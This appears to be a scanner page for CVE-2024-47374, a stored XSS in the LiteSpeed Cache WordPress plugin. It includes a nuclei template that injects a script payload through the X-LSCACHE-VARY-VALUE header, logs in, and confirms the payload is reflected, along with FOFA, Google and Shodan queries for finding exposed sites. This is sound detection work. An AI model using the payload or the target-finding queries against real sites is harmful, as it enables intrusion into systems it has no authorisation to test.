LiteSpeed Cache <= 6.5.0.2 - Stored XSS

highseverity

7.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

LiteSpeed Technologies LiteSpeed Cache versions up to 6.5.0.2 contain a stored cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in victim browsers, exploit requires storing malicious input.

Impact

Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.

Fix

Update to the latest version of LiteSpeed Cache.

How to confirm it

Send: GET /wp-content/plugins/litespeed-cache/readme.txt
Positive when: compare_versions(version, '<= 6.5.0.2') and contains(body, 'LiteSpeed Cache')
Send: GET /
Positive when: status_code == 200 and contains_all(header, 'X-Litespeed-Tag', '2d2_HTTP.200')
Send: GET /wp-login.php
Positive when: status_code == 200 and contains(body, "loginform")
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=litespeed-page_optm
Positive when: status_code == 200 and contains_all(body, "><script>alert(1)</script>","litespeed")

Run it with nuclei: nuclei -id CVE-2024-47374 -u <target>

The full check

id: CVE-2024-47374

info:
  name: LiteSpeed Cache <= 6.5.0.2 - Stored XSS
  author: Sourabh-Sahu
  severity: high
  description: |
    LiteSpeed Technologies LiteSpeed Cache versions up to 6.5.0.2 contain a stored cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in victim browsers, exploit requires storing malicious input.
  impact: |
    Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of LiteSpeed Cache.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/litespeed-cache/litespeed-cache-61-unauthenticated-stored-cross-site-scripting
    - https://patchstack.com/database/vulnerability/litespeed-cache/wordpress-litespeed-cache-plugin-6-5-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-47374
    cwe-id: CWE-79
    epss-score: 0.01396
    epss-percentile: 0.72643
    cpe: cpe:2.3:a:litespeedtech:litespeed_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 5
    fofa-query: body=/wp-content/plugins/litespeed-cache/
    google-query: inurl:"/wp-content/plugins/litespeed-cache/"
    shodan-query: http.html:"/wp-content/plugins/litespeed-cache/"
  tags: cve,cve2024,wordpress,wp-plugin,xss,stored,litespeed,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /wp-content/plugins/litespeed-cache/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 6.5.0.2')"
          - "contains(body, 'LiteSpeed Cache')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-LSCACHE-VARY-VALUE: "><script>alert(1)</script>

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - "contains_all(header, 'X-Litespeed-Tag', '2d2_HTTP.200')"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "loginform")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=litespeed-page_optm HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(1)</script>","litespeed")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from